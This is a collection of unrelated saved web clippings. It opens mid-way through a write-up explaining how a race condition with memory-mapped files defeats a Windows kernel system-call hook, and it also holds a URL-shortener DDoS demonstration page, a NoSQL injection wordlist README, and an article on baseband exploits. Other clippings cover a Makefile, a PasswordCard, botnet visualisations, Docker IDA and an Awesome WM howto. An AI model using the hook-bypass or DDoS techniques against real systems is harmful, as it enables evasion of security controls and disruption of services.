writes the last common part of the key \(“test1”\) into this file
\(WriteFile\(\)\) and closes the handle. Since the Cache Manager cannot rely
on the system file cache during the next file-read, the kernel is forced to
access the file on the disk, issuing an arbitrary reschedule. Using the
FILE\_FLAG\_WRITE\_THROUGH flag alone is not enough since the data will be
suddenly written onto the disk but at the same time the system file cache gets
filled with the actual data and will be reused later.  
  
The next step concerns the creation of double memory mapping
\(CreateFileMapping\(\) and MapViewOfFileEx\(\)\). The former is an anonymous
mapping. The latter is placed right after the former map and maps the first
section of the aforementioned file. Since Windows uses the Demand Paging
mechanism, the system just creates an internal structure to keep track of the
new mapping and returns. The file data corresponding to the actual mapping is
not pushed into the cache and no page tables are even set up. Now that the two
mappings are created, we can put the former part of the fake key
\(“\HKEY\_LOCAL\_MACHINE\Software\hookfake\”\) into the last part of the first
mapping. Doing so, the former part of the key string is already in memory and
the latter contiguous part exists only within the disk and is not yet loaded
into memory.  
  
We can now manually build the system call parameters, putting the address of
the key string into the UNICODE\_STRING object referenced by the
OBJECT\_ATTRIBUTES structure.  
We need to do one last thing: before invoking the system call, we need to set
up the racer thread. This thread spins on a process global variable, waiting
for its state change. When the state changes the racer thread substitutes the
“hookfake” string with the “hookdemo” string, restoring the original key:
“\HKEY\_LOCAL\_MACHINE\Software\hookdemo\test1”.  
  
But when will this be done? Let’s take a look at the hookdemo.sys driver:  
  
During the NewZeOpenKey\(\) system call wrapper routine, the code accesses the
user-supplied key string at this line:  
  
\[ ... \]  
rc = RtlAppendUnicodeStringToString\(&KeyName, ObjectAttributes->ObjectName\);  
\[ ... \]  
  
ObjectName is the UNICODE\_STRING structure holding the reference to our key
string. When the driver tries to copy the final part of the key string \(the
one placed on the second mapping: “test1”\) into the local KeyName object, the
system generates a page fault since no page tables have been set up yet.  
  
Moreover, the Windows Cache Manager realizes that 1\) there is no cache
available 2\) the file I/O and memory mapped file MUST NOT pass through the
cache \(since the file has been opened with the FILE\_FLAG\_NO\_BUFFERING\)
and begins a disk data transfer putting the process to sleep, thus
rescheduling\!\! At this point, the wrapper routine has already copied the
former part of the key; when the thread is scheduled back, the routine simply
continues to copy the remaining part \(and everything happens totally
transparently from the driver wrapper perspective\).  
  
Just after the context switch occurs, the racer thread modifies the original
\(already copied\) string and exits. Finally the original system call, which
will be called by the system call wrapper, will manage a different key string:
the one we are interested in\! Game Over\!  
  
  
Just a side note: to succeed we need for the two threads to be serialized. The
second thread must not run before the first thread is scheduled, but at the
same time it has to run only AFTER the former thread invokes the system call.
This is achieved by making the former thread set a global spinning variable
which will be monitored by the racer thread. To be sure that the second thread
will not modify the string before the first thread actually performs the
system call we must assure that the two thread run always on the same
processor\! Ironically, this code natively performs correctly ONLY on Uni-
processor boxes. If we are playing with multi-core/multi-processor systems we
have to assure that all of the process’s threads run on a given CPU using the
processor affinity API \(e.g. SetProcessAffinityMask\(\)\) as shown in the
PoC.  
  
This is just a sample output:  
  
TSC Analysis: Before SystemCall = 174341962662283 After SystemCall =
174341962672609  
\[Diff\] => 10326  
Called normally: Key Handle: 0xffffffff  
  
TSC Analysis: Before SystemCall = 174341968174781 After SystemCall =
174342017146092  
\[Diff\] => 48971311  
Check Bypassed: Game Over\! KeyHandle: 0x7bc  
  
As we can see, the first try has been made calling the system call without
special mapping, directly passing the original key string. The wrapper
intercepts the call and denies access to the registry key. The second try has
been made using the special mapping describe above and, as we can see, the
system call returns a valid handle. Game Over.  
  
The PoC code can be downloaded \[here\].  
The hookdemo.sys code by Andrey Kolishak can be downloaded \[here\].

# d0z.me

**Created:**| _12/20/2010 10:08:30 PM_  
---|---  
**Updated:**| _12/20/2010 10:08:57 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web socialising_  
  

[code]

         __  _______                             
     .--|  ||   _   |.-----.    .--------..-----.
     |  _  ||.  |   ||-- __| __ |        ||  -__|
     |_____||.  |   ||_____||__||__|__|__||_____|
            |:  1   |                            
            |::.. . |                            
            `-------'                            
    
    
    
[/code]

by Ben Schmidt \(supernothing\) of spareclockcycles.org

Your new link: http://d0z.me/wllw  
Please, be responsible.

  

  

Disclaimer: I am not responsible for any malicious use of this demonstration,
nor any damages caused by it. It was created solely as an example of the
serious consequences of the Internet's increased reliance upon URL shortners,
as well as how easy it is to create an unwitting DDoS botnet without actually
exploiting a single computer. If you target a site that is not yours, you are
responsible for the consequences. If you believe that you have been a victim
of abuse due to the actions of this site's users, please contact me at
supernothing 4T spareclockcycles D0T org with the offending link so I can
investigate.

<img src='img/dosme.tar.gz' width='265' height='49' />  

All code used on this site is released under the GPLv3, and is available here.

# pintool-makefile/Makefile at master · jbremer/pintool-makefile

**Created:**| _11/7/2012 6:21:04 PM_  
---|---  
**Updated:**| _11/7/2012 6:21:04 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation_  
  

**pintool-makefile** / **Makefile**

<img src='img/Temp2_10565.jpg' width='24' height='24' /> jbremer

3 days ago

introduced dlls variable

**1** contributor

******** file 25 lines \(19 sloc\) 0.856 kb

  * Edit
  * Raw
  * Blame
  * History

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
[/code]

|

[/code]

[code]

  
PINTOOL = ..\pintoolDLLS = tz.dll  
default: $\(DLLS\)  
%.obj: %.cpp cl /c /MT /EHs- /EHa- /wd4530 /DTARGET\_WINDOWS
/DBIGARRAY\_MULTIPLIER=1 \ /DUSING\_XED /D\_CRT\_SECURE\_NO\_DEPRECATE
/D\_SECURE\_SCL=0 /nologo /Gy \ /O2 /DTARGET\_IA32 /DHOST\_IA32
/I$\(PINTOOL\)\source\include \ /I$\(PINTOOL\)\source\include\gen
/I$\(PINTOOL\)\source\tools\InstLib \ /I$\(PINTOOL\)\extras\xed2-ia32\include
\ /I$\(PINTOOL\)\extras\components\include $^  
%.dll: %.obj link /DLL /EXPORT:main /NODEFAULTLIB /NOLOGO /INCREMENTAL:NO
/OPT:REF \ /MACHINE:x86 /ENTRY:Ptrace\_DllMainCRTStartup@12 /BASE:0x55000000 \
/LIBPATH:$\(PINTOOL\)\ia32\lib /LIBPATH:$\(PINTOOL\)\ia32\lib-ext \
/LIBPATH:$\(PINTOOL\)\extras\xed2-ia32\lib /IMPLIB:tz.lib \ /PDB:tz.pdb
/OUT:$@ $^ pin.lib libxed.lib libcpmt.lib \ libcmt.lib pinvm.lib kernel32.lib
ntdll-32.lib  
clean: rm '\*.dll' '\*.exp' '\*.lib'  
---|---

# cr0hn/nosqlinjection\_wordlists

**Created:**| _6/29/2017 4:11:05 PM_  
---|---  
**Updated:**| _6/29/2017 4:11:05 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# What's this repo?

This repo aims to contain wordlists with payloads for NoSQL Injections.

# What's contains currently?

Currently only has MongoDB payloads.

# Can I contribute?

Of course\!\! Your contribution are welcome. Send me a Pull Request.

# References

Here some references that I found useful:

  

# Your PasswordCard - 70,896 printed so far\!

**Created:**| _10/24/2011 11:54:06 AM_  
---|---  
**Updated:**| _10/24/2011 11:54:06 AM_  
**Author:**| __  
**Tags:**| _security tools passwords_  
  

# Welcome to your PasswordCard \- 70,896 printed so far\!

### Number

This is the number of your card. Store it somewhere safe\! If you want to
regenerate a card you lost, type the number here and press Enter:

### Options

check this for an area with only digits.  
check this to include symbols.

### Card

This is your PasswordCard:

<img
src='http://www.passwordcard.org/generatecard.do?number=bed98d8ced3184fd&cookie=-7v4duasooiwv'
alt='Picture of PasswordCard' />

### Print

Click here to print this page:

### Reset

Click here to load a new,  
randomly generated card:

### Secure Connection <img src='img/Temp2_9993.png' alt='>' />

### Mobile Version <img src='img/Temp2_9993.png' alt='>' />

### <img src='img/Temp2_9992.png' width='19' height='23' alt='Android Robot'
/> Android <img src='img/Temp2_9993.png' alt='>' />

### iPhone App <img src='img/Temp2_9993.png' alt='>' />

### Separate Window <img src='img/Temp2_9993.png' alt='>' />

### What is it?

You have dozens of accounts on all kinds of websites and other systems, each
of whom wants you to pick a secure password. But they all have different
rules, and anyway, you can't even remember _one_ secure password that consists
of a random string of letters and numbers, let alone dozens of them\!

So, you use simple, easy to remember \(and easy to guess\) passwords, or you
use the same password everywhere. We all do it. But in these days of identity
theft, that is a very bad idea\!

### Enter PasswordCard

A PasswordCard is a credit card-sized card you keep in your wallet, which lets
you pick very secure passwords for all your websites, without having to
remember them\! You just keep them with you, and even if your wallet does get
stolen, the thief will still not know your actual passwords.

### How does it work?

Your PasswordCard has a unique grid of random letters and digits on it. The
rows have different colors, and the columns different symbols. All you do is
remember a combination of a symbol and a color, and then read the letters and
digits from there. It couldn't be simpler\!

You can optionally include an area that has only digits which you can use for
PIN's, and you can also choose to include symbols if you use sites which
require your passwords to include them. Remember that you can still use the
digits-only area for regular passwords, for any site which allows numbers in
its passwords\!

### But I thought we weren't supposed to write down our passwords?

A chain is only as strong as its weakest link. It's far safer to pick secure
passwords and write them down, than it is to remember simple and easy to guess
passwords. You already protect your wallet very well, and even if it does get
stolen the thief will still not know which of the many thousands of
possibilities on the card is your password.

### Instructions

  * Print this page.
  * If you want, laminate the card.
  * Cut out your PasswordCard and keep it in your wallet.
  * Keep the rest of the page; it has the card number and selected options on it so that you can regenerate the card if you ever lose it\!
  * Pick a direction. You don't have to go from left to right to read your passwords, you can go from right to left, up or down, or even diagonally. It's probably a good idea to pick one direction though, even if you use your PasswordCard for multiple passwords.
  * Pick a password length. Eight is pretty secure and usually acceptable. Again, it's a good idea to pick one length.
  * Pick a colour and a symbol for each password. You can use one password for all your sites, but that still wouldn't be very safe. It's a good idea to at least have different passwords for very important sites, such as Internet banking sites.
  * Change your passwords on your websites to the one\(s\) from your PasswordCard.
  * Enjoy your new feeling of safety and peace of mind... :-\)

### Precautions

  * Don't read along with your finger, or the smudge will tell a thief where your password is.
  * Keep your PasswordCard on your person, don't leave it lying around near your computer.
  * Clear your browser cache and history after printing this page.

### More information

Click here for more information and frequently asked questions.

# dataviz Australia - Drive your data further

**Created:**| _6/8/2010 1:45:00 PM_  
---|---  
**Updated:**| _6/8/2010 1:45:00 PM_  
**Author:**| __  
**Tags:**| _visualization security metrics_  
  
ataviz Australia Drive your data further: Research  
Data visualization  
Industry Intelligence  
---  
Home| Services| Blog| Gallery| Contact| About  
---|---|---|---|---|---  
This small experimental project was done for the Shadowserver Foundation. They
are a volunteer, Not for Profit organization who deal in the capture, analysis
and dissemination of data and intelligence relating to nefarious activity on
the internet. Shadowserver provided us with one day worth of data \(which was
several gigabytes\) for us to apply some known techniques, and experiment with
some new ones.  The idea of this project was simply to provide some ideas as
to ways to represent their massive datasets visually. There's lot of work to
go, however here are few early ideas. My favourite is a light-hearted time
series visualization in the theme of an old favourite arcade game originally
released in 1972 "Pong".  
---  
<img src='img/Temp2_10167.png' />  
|  Trojan Pong This piece of work is more than just a bit of fun. It turns out
to be a reasonable method to spot wider trends and anomolies in both victim IP
ranges as well as the behaviours of various trojan families.  We used the
Logstalgia package to create this, which is designed to analyze web server
logs. We rearranged the malware dataset into such a format that the existing
logstalgia platform could process. Why reinvent the wheel? Just find more uses
for the ones you have\! Keep in mind when you are watching this, this only
represents a few minutes of malicious activity from only about 5 sample
malware samples. Imagine what the wider state of the internet is like ?  
---|---  
<img src='img/Temp2_10164.png' />  
Relative drone numbers per country per trojan  
  
<img src='img/Temp2_10166.png' />  
Mapping the existence of different trojans families in each country  
|  Drone activity \(sinkhole data\) Shadowserver and other security
researchers collect data that indicates that an computer coming from an IP
adress is infected \(sometimes these are called drones or bots\). This data is
collected by taking control of the server that issues "Command and Control"
\(or C&C\) instructions too these drones. The infected PC's periodically
attempt to contact these C&C servers, so the IP address of the drone and the
time is logged. Where possible, this information is then given to the networks
responsible for these IP's so that the drones can be cleaned up. This piece
shows the relative prevalance of such trojan families per country.  We used
one a tool called "Circos" to create these graphs. Circos was designed for the
study of genetic attributes. Once again, we used an existing wheel for another
purpose. Some people find these circos graphs a challenge to understand, if so
- stick with it as it's worth the effort.  
<img
src='http://dataviz.com.au/shadowserver/animated_drones/still_frame_350.png'
/>|  Animated Drone locations Shows the location of drones during the course
of a typical 24 hours. Remember once more that this is just for the trojans
that have been "sinkholed" by security researchers. The end part of this video
shows the cumulative dataset for the whole day.  
<img src='img/Temp2_10165.png' />  
DDOS commanding server country - Target Country  
\(standardized size\)  
  
<img src='img/Temp2_10163.png' />  
DDOS commanding server country - Target Country  
\(segments sized by volume- best estimates\)  
|  DDOS activity Shadowserver monitors the instructions that Command and
Control \(C&C\) servers send out to various botnets. The location of the C&C
server, as well as the location of the target servers is extracted from this
data, to create these graphs. Attribution is difficult in cyber security, and
a point must be made here that the actual cybercriminal may not live in the
same country as the C&C server. This piece attempts to help answer the
question "Where are the servers that control the botnets, and which countries
host their targets".  
<img src='img/Temp2_10162.png' />|  Wordcloud of DDOS targets A thousand words
in a picture.. The bigger the domain name, the more often an instruction to
launch a DDOS attack was observed over the 24 hour period.  
  
  
<img src='img/Temp2_10168.png' /> |  Animated DDOS Targets Shows the location of targets of DDOS's over a 24 hour period. 

# The second operating system hiding in every mobile phone

**Created:**| _11/13/2013 9:07:26 AM_  
---|---  
**Updated:**| _11/13/2013 9:07:26 AM_  
**Author:**| __  
**Tags:**| _Embedded rtos_  
  

# **T** he second operating system hiding in every mobile phone****

I've always known this, and I'm sure most of you do too, but we never really
talk about it**.** Every smartphone or other device with mobile communications
capability \(e**.** g. 3G or LTE\) actually runs not one, but _two_ operating
systems. Aside from the operating system that we as end-users see \(Android,
iOS, PalmOS \), it also runs a small operating system that manages everything
related to radio**.** Since this functionality is highly timing-dependent, a
real-time operating system is required**.**

This operating system is stored in firmware, and runs on the baseband
processor**.** As far as I know, this baseband RTOS is always entirely
proprietary**.** For instance, the RTOS inside Qualcomm baseband processors
\(in this specific case, the MSM6280\) is called AMSS, built upon their own
proprietary REX kernel, and is made up of 69 concurrent tasks, handling
everything from USB to GPS**.** It runs on an ARMv5 processor.

The problem here is clear: these baseband processors and the proprietary,
closed software they run are poorly understood, as there's no proper peer
review**.** This is actually kind of weird, considering just how important
these little bits of software are to the functioning of a modern communication
device**.** You may think these baseband RTOS' are safe and secure, but that's
not exactly the case**.** You may have the most secure mobile operating system
in the world, but you're still running a second operating system that is
poorly understood, poorly documented, proprietary, and all you have to go on
are Qualcomm's Infineon's, and others' blue eyes**.**

The insecurity of baseband software is not by error; it's by design**.** The
standards that govern how these baseband processors and radios work were
designed in the '80s, ending up with a complicated codebase written in the
'90s - complete with a '90s attitude towards security**.** For instance, there
is barely any exploit mitigation, so exploits are free to run amok**.** What
makes it even worse, is that every baseband processor inherently trusts
whatever data it receives from a base station \(e**.** g**.** in a cell
tower\). Nothing is checked, everything is automatically trusted**.** Lastly,
the baseband processor is usually the master processor, whereas the
application processor \(which runs the mobile operating system\) is the
slave**.**

So, we have a complete operating system, running on an ARM processor, without
any exploit mitigation \(or only very little of it\), which automatically
trusts every instruction, piece of code, or data it receives from the base
station you're connected to**.** What could possibly go wrong?

With this in mind, security researcher Ralf-Philipp Weinmann of the University
of Luxembourg set out to reverse engineer the baseband processor software  of
both Qualcomm and Infineon, and he easily spotted loads and loads of bugs,
scattered all over the place, each and every one of which could lead to
exploits - crashing the device, and even allowing the attacker to remotely
execute code**.** Remember: all over the air. One of the exploits he found
required nothing more but a 73 byte message to get remote code execution**.**
Over the air.

You can do some crazy things with these exploits**.** For instance, you can
turn on auto-answer, using the Hayes command set **.** This is a command
language for modems designed in 1981, and it still works on modern baseband
processors found in smartphones today \(**\!**\). The auto-answer can be made
silent and invisible, too**.**

While we can sort-of assume that the base stations in cell towers operated by
large carriers are "safe", the fact of the matter is that base stations are
becoming a lot cheaper, and are being sold on eBay - and there are even open
source base station software packages**.** Such base stations can be used to
target phones. Put a compromised base station in a crowded area - or even a
financial district or some other sensitive area - and you can remotely turn on
microphones, cameras, place rootkits, place calls/send SMS messages to
expensive numbers, and so on**.** Yes, you can even brick phones permanently.

This is a pretty serious issue, but one that you rarely hear about**.** This
is such low-level, complex software that I would guess very few people in the
world actually understand everything that's going on here**.**

That complexity is exactly one of the reasons why it's not easy to write your
own baseband implementation**.** The list of standards that describe just GSM
is unimaginably long  \- and that's _only_ GSM**.** Now you need to add UMTS,
HSDPA, and so on, and so forth**.** And, of course, everything is covered by a
ridiculously complex set of patents**.** To top it all off, communication
authorities require baseband software to be certified**.**

Add all this up, and it's easy to see why every cellphone manufacturer just
opts for an off-the-shelf baseband processor and associated software**.** This
does mean that each and every feature and smartphone has a piece of software
that always runs \(when the device is on\), but that is essentially a black
box**.** Whenever someone does dive into baseband software, many bugs and
issues are found, which raises the question just how long this rather dubious
situation can continue**.**

It's kind of a sobering thought that mobile communications, the cornerstone of
the modern world in both developed and developing regions, pivots around
software that is of dubious quality, poorly understood, entirely proprietary,
and wholly insecure by design**.**

****

# Docker IDA: The Large Scale Reverse Engineering System\! - PenTestIT

**Created:**| _5/7/2017 10:40:56 AM_  
---|---  
**Updated:**| _5/7/2017 10:40:56 AM_  
**Author:**| __  
**Tags:**| _iDA docker_  
  

  

# Docker IDA: The Large Scale Reverse Engineering System\!

Docker containers are the future\! It surely seems so from the myriad projects
that are being ‘dockerized’\! One such cool project is **Docker IDA** , your
answer for large scale reverse engineering, which allows you to run IDA Pro
disassembler in Docker containers for automating, scaling and distributing the
use of IDAPython scripts.

<img src='img/Temp2_2324.png' width='259' height='349' alt='Docker IDA' />

Docker IDA

# What is Docker IDA?

Docker IDA is an open source project that allows you to dockerize IDA Pro to
make reverse engineering on a large scale simpler and faster. It does so by
wrapping IDA Pro with a command line interface, which automates the use of
_IDAPython_ scripts and batch analysis. This solves the problem that malware
analysis and reverse engineering industry has been facing since long –
upscaling these tools and getting software to run reliably when moved from one
computing environment to another. One container can wrap up a piece of
software in a complete file system that includes everything it needs to run
IDA Pro. is configured to have everything you need for a working IDA machine,
ready to run scripts:

  * IDA Pro \(Linux version\) automatically installed with all its dependencies.
  * pip install – Install external python libraries that integrate into the IDAPython engine such as pexpect, networkx, flask, gunicorn.
  * Sark – The excellent library by Tamir Bahar is preinstalled, to simplify IDAPython scripting
  * Special wrapper script in order to quickly run IDA without ANY screen output

With such a dockerized machines, you can perform automated unpacking of
malwares, fuzz files, string de-obfuscation or check for for buffer overflow
exploits.

## Docker IDA Installation:

  1. Clone `docker-ida` repository: 
[code]    $ git clone https://github.com/intezer/docker-ida

    
[/code]

  2. Copy IDA Pro installation file to the repository’s `ida` directory: 
[code]    $ cp <ida-installation-file-path> docker-ida/ida/ida.run

    
[/code]

  3. Build Docker IDA image: 
[code]    $ sudo docker build -t ida --build-arg IDA_PASSWORD=<password>
docker-ida/ida

[/code]

This project was tested with IDA Pro version 6.9. More information about this
project can be found **here**.

  

# Debian User Forums • View topic - Howto: install/configure Awesome 3.2

**Created:**| _2/25/2010 10:50:03 PM_  
---|---  
**Updated:**| _2/25/2010 10:50:10 PM_  
**Author:**| __  
**Tags:**| _awesome_  
  

### Howto: install/configure Awesome 3.2

<img src='img/Temp2_2022.gif' width='11' height='9' alt='Post' />by **toto** »
2009-03-01 23:57

This a simple howto for Awesome 3.2 to get you going. Part 1 is about the
installation of Awesome, Part 2 will show you how to edit the config file and
Part 3 will show you how to use/create themes.  
  
Awesome is a highly configurable and fast tiled window manager for X much like
dwm, ion and wmii. Since a couple of weeks Awesome 3.2 is available in
Unstable. Awesome 3.x now uses a configuration file based on the Lua language.
Awesome 3.2 is available in unstable and testing, this howto is NOT for Awsome
2 \(stable\)\!  
  
Part One  
  
Fire up your favorite console and type:  
  

CODE: SELECT ALL

    `su -c 'apt-get install awesome'`
  
  
As user make a dir in your /home/$user/.config/ dir to store the config files
of Awesome:  
  

CODE: SELECT ALL

    `mkdir ~/.config/awesome`
  
  
Now copy the default config files to this directory:  
  

CODE: SELECT ALL

    `cp /etc/xdg/awesome/rc.lua ~/.config/awesome/  
cp -r /usr/share/awesome/themes /home/toto/.config/awesome/`

  
  
I don't use a display manager so here's my .xinitrc:  
  

CODE: SELECT ALL

    `#!/bin/sh  
  
xsetroot -solid black  
xsetroot -cursor_name top_left_arrow  
  
xset s off  
xset dpms 300 600 900  
  
xmodmap $HOME/.Xmodmap  
  
xrdb -load $HOME/.Xdefaults  
  
ivman &  
  
#exec /usr/bin/startfluxbox  
exec /usr/bin/awesome`

  
  
If you don't use a display manager add the following line to your .xinitrc to
start Awesome:  
  

CODE: SELECT ALL

    `exec /usr/bin/awesome`
  
  
Now it's time to start Awesome by typing startx from console or use your
display managar to startup Awesome:  
  
How to use Awesome  
  
Awesome can be used with a mouse/keyboard or keyboard only.  
These are the default mouse bindings:  
  
Navigation  
  
Button1 on tag name -- View tag.  
Button4, Button5 on tag name -- Switch to previous or next tag.  
Button4, Button5 on root window -- Switch to previous or next tag.  
Button1, Button3, Button4, Button5 on layout symbol -- Switch to previous or
next layout.  
  
Layout modification  
  
Mod4 + Button1 on tag name -- Tag current client with this tag only.  
Mod4 + Button3 on tag name -- Toggle this tag for client.  
Button3 on tag name -- Add this tag to current view.  
Mod4 + Button1 on client window -- Move window.  
Mod4 + Button3 on client window -- Resize window.  
  
And these are the default key bindings:  
  
Window manager control  
  
Mod4 + Control + r -- Restart awesome.  
Mod4 + Shift + q -- Quit awesome.  
Mod4 + F1 -- Run prompt.  
Mod4 + F4 -- Run Lua code prompt.  
Mod4 + Return -- Spawn terminal emulator.  
  
Clients  
  
Mod4 + Control + i -- Print the client class and instance.  
Mod4 + Shift + r -- Redraw the focused window.  
Mod4 + m -- Maximize client.  
Mod4 + f -- Set client fullscreen.  
Mod4 + Shift + c -- Kill focused client.  
Mod4 + t -- Mark a client.  
  
Navigation  
  
Mod4 + j -- Focus next client.  
Mod4 + k -- Focus previous client.  
Mod4 + u -- Focus first urgent client.  
Mod4 + Left -- View previous tag.  
Mod4 + Right -- View next tag.  
Mod4 + 1-9 -- Switch to tag 1-9.  
Mod4 + Control + j -- Focus next screen.  
Mod4 + Control + k -- Focus previous screen.  
Mod4 + Escape -- Focus previously selected tag set.  
  
Layout modification  
  
Mod4 + Shift + j -- Switch client with next client.  
Mod4 + Shift + k -- Switch client with previous client.  
Mod4 + h -- Decrease master width factor by 5%.  
Mod4 + l -- Increase master width factor by 5%.  
Mod4 + Shift + h -- Increase number of master windows by 1.  
Mod4 + Shift + l -- Decrease number of master windows by 1.  
Mod4 + Control + h -- Increase number of columns for non-master windows by 1.  
Mod4 + Control + l -- Decrease number of columns for non-master windows by 1.  
Mod4 + space -- Switch to next layout.  
Mod4 + Shift + space -- Switch to previous layout.  
Mod4 + Control + space -- Toggle client floating status.  
Mod4 + Control + Return -- Swap focused client with master.  
Mod4 + Control + 1-9 -- Toggle tag view.  
Mod4 + Shift + 1-9 -- Tag client with tag.  
Mod4 + Shift + Control + 1-9 -- Toggle tag on client.  
Mod4 + Shift + F1-9 -- Tag marked clients with tag.  
  
Take some time to familiarize yourself with the controls of Awesome before you
take on part two.  
  
Part Two  
  
Now let's start fidling with the configuration file of Awesome
\(~/.config/awesome/rc.lua\), it's written in Lua so I edited this file in
Scite to make it more readable. You can change the config file on the fly. But
before you do you can test if the config file is good by typing  

CODE: SELECT ALL

    `awesome -k`
  
in a console. If there's something wrong it'll print the linenumber of the
config file and an error code. If everything is allright restart Awesome by
using the following key combo: 'Mod4 + Control + r ' , this will load the
modified config file.  
  
Application rules  
  
You can use the config file to make some applications float or send them to a
specific workspace \(tag\). For example the Gimp and Audacious don't work well
if they aren't floating.  
  
In this part of rc.lua you can add applications you want to float or send to a
specific tag:  
  

CODE: SELECT ALL

    `-- Table of clients that should be set floating. The index may be either  
-- the application class or instance. The instance is useful when running  
-- a console app in a terminal like (Music on Console)  
-- x-terminal-emulator -name mocp -e mocp  
floatapps =  
{  
-- by class  
["MPlayer"] = true,  
["pidgin"] = true,  
["galculator"] = true,  
["audacious"] = true,  
["gimp"] = true  
-- by instance  
  
}  
  
-- Applications to be moved to a pre-defined tag by class or instance.  
-- Use the screen and tags indices.  
apptags =  
{  
["Gimp"] = { screen = 1, tag = 9 },  
["Kazehakase"] = { screen = 1, tag = 1 },  
["Midori"] = { screen = 1, tag = 1 },  
["Iceweasel"] = { screen = 1, tag = 1 },  
["Sylpheed"] = { screen = 1, tag = 2 },  
["pidgin"] = { screen = 1, tag = 2 }  
}  
`

  
  
Let's say you want the Gimp to float and open in tag 9. For this to happen you
add the following line to 'floatapps =':  
  

CODE: SELECT ALL

    `["gimp"] = true,`
  
  
This will make the Gimp float. To send the Gimp to tag 9 add the following
line to 'apptags =':  
  

CODE: SELECT ALL

    `["Gimp"] = { screen = 1, tag = 9 },`
  
  
Notice the comma behind the code, you do this for every app except the last in
the list. You can add as many rules to the list as you want.  
  
If you don't now the Class name of an application you can use xprop to find
out, use it from a console:  
  

CODE: SELECT ALL

    `xprop WM_CLASS`
  
  
The mouse cursor will change in a cross, click on the application you want to
find out the 'class name'. The output will look like this if you happen to
click on xclock for example:  
  
WM\_CLASS\(STRING\) = "xclock", "XClock", the first is the name "xclock" the
second the class "XClock".  
  
Tag names and layouts  
  
By default Awesome has named the tags from 1-9 and they all have the same
layout. You can change the tag names and tag specific layouts in the following
part of Awesome's config file:  
  

CODE: SELECT ALL

    `-- {{{ Tags  
-- Define tags table.  
mytags = {}  
mytags[1] = { name = "ichi", layout = layouts[7] }  
mytags[2] = { name = "ni", layout = layouts[3] }  
mytags[3] = { name = "san", layout = layouts[3] }  
mytags[4] = { name = "yon", layout = layouts[3], mwfact = .60 }  
mytags[5] = { name = "go", layout = layouts[1] }  
mytags[6] = { name = "roku", layout = layouts[1] }  
mytags[7] = { name = "nana", layout = layouts[5] }  
mytags[8] = { name = "hachi", layout = layouts[6] }  
mytags[9] = { name = "kyu", layout = layouts[10] }  
  
tags = {}  
for s = 1, screen.count() do  
-- Each screen has its own tag table.  
tags[s] = {}  
-- Create 9 tags per screen.  
for tagnumber = 1, 9 do  
-- Create the tag with name from table above  
tags[s][tagnumber] = tag(mytags[tagnumber].name)  
  
-- Add tags to screen one by one  
tags[s][tagnumber].screen = s  
  
-- Set layout  
if mytags[tagnumber].layout then  
awful.layout.set(mytags[tagnumber].layout, tags[s][tagnumber])  
else  
awful.layout.set(layouts[1], tags[s][tagnumber])  
end  
if mytags[tagnumber].mwfact then  
awful.tag.setmwfact(mytags[tagnumber].mwfact, tags[s][tagnumber])  
end  
if mytags[tagnumber].nmaster then  
awful.tag.setnmaster(mytags[tagnumber].nmaster, tags[s][tagnumber])  
end  
end  
-- I'm sure you want to see at least one tag.  
tags[s][1].selected = true  
end  
-- }}}  
`

  
  
If you want to give your tags a different name and layout replace the code
below \(from the standard Awesome config\) with the code above.  
  

CODE: SELECT ALL

    `-- {{{ Tags  
-- Define tags table.  
tags = {}  
for s = 1, screen.count() do  
-- Each screen has its own tag table.  
tags[s] = {}  
-- Create 9 tags per screen.  
for tagnumber = 1, 9 do  
tags[s][tagnumber] = tag(tagnumber)  
-- Add tags to screen one by one  
tags[s][tagnumber].screen = s  
awful.layout.set(layouts[1], tags[s][tagnumber])  
end  
-- I'm sure you want to see at least one tag.  
tags[s][1].selected = true  
end  
-- }}}  
`

  
  
In the upper part of the code you can change the name and layout like this:  
  

CODE: SELECT ALL

    `mytags[1] = { name = "WWW", layout = layouts[10] }`
  
  
This gives 'tag 1' the name 'WWW' and the layout is 'floating'  
I've numberd the layouts in my rc file to make it easy to understand:  
  

CODE: SELECT ALL

    `-- Table of layouts to cover with awful.layout.inc, order matters.  
layouts =  
{  
awful.layout.suit.tile, -- 1  
awful.layout.suit.tile.left, -- 2  
awful.layout.suit.tile.bottom, -- 3  
awful.layout.suit.tile.top, -- 4  
awful.layout.suit.fair, -- 5  
awful.layout.suit.fair.horizontal, -- 6  
awful.layout.suit.max, -- 7  
awful.layout.suit.max.fullscreen, -- 8  
awful.layout.suit.magnifier, -- 9  
awful.layout.suit.floating -- 10  
}  
`

  
  
You can also disable some layouts by placing two minus signs before the
layouts, like this:  
  

CODE: SELECT ALL

    `-- Table of layouts to cover with awful.layout.inc, order matters.  
layouts =  
{  
awful.layout.suit.tile, -- 1  
awful.layout.suit.tile.left, -- 2  
awful.layout.suit.tile.bottom, -- 3  
--awful.layout.suit.tile.top,  
awful.layout.suit.fair, -- 4  
--awful.layout.suit.fair.horizontal,  
awful.layout.suit.max, -- 5  
awful.layout.suit.max.fullscreen, -- 6  
--awful.layout.suit.magnifier,  
awful.layout.suit.floating -- 7  
}  
`

  
  
As you can see this changes the numbering of the layouts, you can also change
the order of the layouts.  
  
Adding shortcuts to Awesome's menu  
  
In this example I've added leafpad and mocp \(which starts in a console\) to
the menu.  
  

CODE: SELECT ALL

    `-- Create a laucher widget and a main menu  
myawesomemenu = {  
{ "manual", terminal .. " -e man awesome" },  
{ "edit config", editor_cmd .. " " .. awful.util.getdir("config") .. "/rc.lua"
},  
{ "restart", awesome.restart },  
{ "quit", awesome.quit }  
}  
  
mymainmenu = awful.menu.new({ items = { { "awesome", myawesomemenu,
beautiful.awesome_icon },  
{ "open terminal", terminal },  
{ "leafpad", "leafpad" },  
{ "mocp", terminal .. " -e mocp" },  
{ "Debian", debian.menu.Debian_menu.Debian }  
}  
})  
  
mylauncher = awful.widget.launcher({ image = image(beautiful.awesome_icon),  
menu = mymainmenu })  
`

  
  
Here you can change the default editor and terminal  
  

CODE: SELECT ALL

    `-- This is used later as the default terminal and editor to run.  
terminal = "rxvt"  
editor = os.getenv("EDITOR") or "editor"  
editor_cmd = terminal .. " -e " .. editor  
`

  
  
If you want to change for example the terminal used by Awesome, just replace
"rxvt" with your favorite console.  
  
Shortcut keys  
  
In the examples below you can see how to add shortcut keys to quickly start
programs you use often with a keystroke like 'Control+F1' to start fbrun or
